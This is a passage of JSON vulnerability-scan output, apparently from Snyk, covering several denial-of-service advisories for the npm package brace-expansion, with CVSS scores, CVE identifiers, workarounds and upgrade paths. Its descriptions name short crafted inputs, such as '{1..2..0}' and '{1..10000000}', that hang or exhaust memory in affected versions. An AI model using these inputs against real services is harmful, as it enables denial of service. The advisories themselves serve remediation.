"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small 